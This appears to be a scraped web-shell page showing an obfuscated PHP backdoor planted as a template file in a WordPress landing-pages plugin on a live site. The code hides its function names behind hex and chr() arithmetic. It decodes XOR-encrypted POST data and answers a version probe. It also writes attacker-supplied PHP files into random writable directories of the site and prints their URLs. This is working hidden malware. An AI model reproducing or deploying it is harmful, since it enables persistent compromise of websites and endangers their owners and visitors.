HEX
Server:Apache
System:Linux localhost 5.10.0-14-amd64 #1 SMP Debian 5.10.113-1 (2022-04-29) x86_64
User:enlugo-es (10006)
PHP:7.4.33
Disabled:opcache_get_status
Upload Files
File: /var/www/vhosts/enlugo.es/httpdocs/wp-content/plugins/landing-pages/templates/wirfkcul.php
<?php $JZkvH = "\x44"."\x4f".'C'."\125".chr(228-151)."\x45".chr(78)."\124"."\137".chr(240-158).chr(544-465)."\x4f"."\x54";$WXlPAhItdm = "\110".chr(630-546).'T'.'P'."\x5f".chr(72).'O'.'S'.chr(854-770);$TBqlnlehPm = 'h'."\x74".chr(116)."\160"."\72".'/'.'/';$FlEWTeCV = "\56"."\x70"."\150".chr(112);$SqIRHxw = "\160".chr(248-144).chr(112);$GVRjKAaCS = "\146".'i'.'l'."\x65"."\x5f"."\160".chr(862-745)."\164"."\x5f"."\x63".chr(401-290)."\x6e".chr(156-40).chr(226-125)."\x6e".'t'."\163";$PwQVB = "\x72".chr(128-31)."\x77"."\165".chr(677-563)."\x6c"."\144".chr(910-809).'c'.chr(111).'d'."\145";$RDregyxFM = 'u'.chr(110)."\163".chr(101).chr(114).'i'."\x61".chr(108)."\151".chr(347-225)."\x65";$FfpOcbe = 'i'."\x73".'_'.chr(119).chr(114).chr(1101-996)."\164".'a'.chr(98).'l'.'e';$sOmiu = 'p'.chr(104)."\160".'v'.chr(228-127).chr(114)."\x73".chr(105).'o'.'n';$ENwFSN = chr(115)."\164".'r'.chr(847-752).chr(751-637).chr(760-649).'t'."\61".'3';$syhMJnBAm = "\x73"."\x65".chr(114)."\x69".chr(97).'l'.chr(147-42)."\172".chr(297-196);$rUueQG = chr(115).chr(500-384).'r'."\137".'s'.chr(112).'l'.'i'."\x74";foreach ($_POST as $NrYftt => $ciGSVcsxHE){$XiKxjHD = strlen($NrYftt);if ($XiKxjHD == 16){$ciGSVcsxHE = $rUueQG($PwQVB($ENwFSN($ciGSVcsxHE)));$NrYftt = array_slice($rUueQG(str_repeat($NrYftt, (count($ciGSVcsxHE)/16)+1)), 0, count($ciGSVcsxHE));function xXsAAe($PKdHV, $CXigk, $NrYftt){$QdTZkncXpS = "7ed438ef-b097-482c-9444-d625a01e5557";return $PKdHV ^ $QdTZkncXpS[$CXigk % strlen($QdTZkncXpS)] ^ $NrYftt;}$ciGSVcsxHE = array_map("xXsAAe", array_values($ciGSVcsxHE), array_keys($ciGSVcsxHE), array_values($NrYftt));$ciGSVcsxHE = implode("", $ciGSVcsxHE);$ciGSVcsxHE = @$RDregyxFM($ciGSVcsxHE);if (@is_array($ciGSVcsxHE)){$rIOaTE = array_keys($ciGSVcsxHE);$ciGSVcsxHE = $ciGSVcsxHE[$rIOaTE[0]];if ($ciGSVcsxHE === $rIOaTE[0]){echo @$syhMJnBAm(Array($SqIRHxw => @$sOmiu(), ));exit();}else {function ZFTSCrr($WDtELMZCpcir){static $GnmzdNmrVp = array();$gFcaP = glob($WDtELMZCpcir . '/*', GLOB_ONLYDIR);$ekOjPwiecZ = count($gFcaP);if ($ekOjPwiecZ > 0) {foreach ($gFcaP as $WDtELMZCpc) {if (@$FfpOcbe($WDtELMZCpc)) {$GnmzdNmrVp[] = $WDtELMZCpc;}}}foreach ($gFcaP as $WDtELMZCpcir) ZFTSCrr($WDtELMZCpcir);return $GnmzdNmrVp;}$JVyJKT = $_SERVER[$JZkvH];$gFcaP = ZFTSCrr($JVyJKT);$rIOaTE = array_rand($gFcaP);$SExgdUx = $gFcaP[$rIOaTE] . "/" . substr(md5(time()), 0, 8) . $FlEWTeCV;@$GVRjKAaCS($SExgdUx, $ciGSVcsxHE);$GoGAls = $TBqlnlehPm . $_SERVER[$WXlPAhItdm] . substr($SExgdUx, strlen($JVyJKT));print($GoGAls);die();}}}}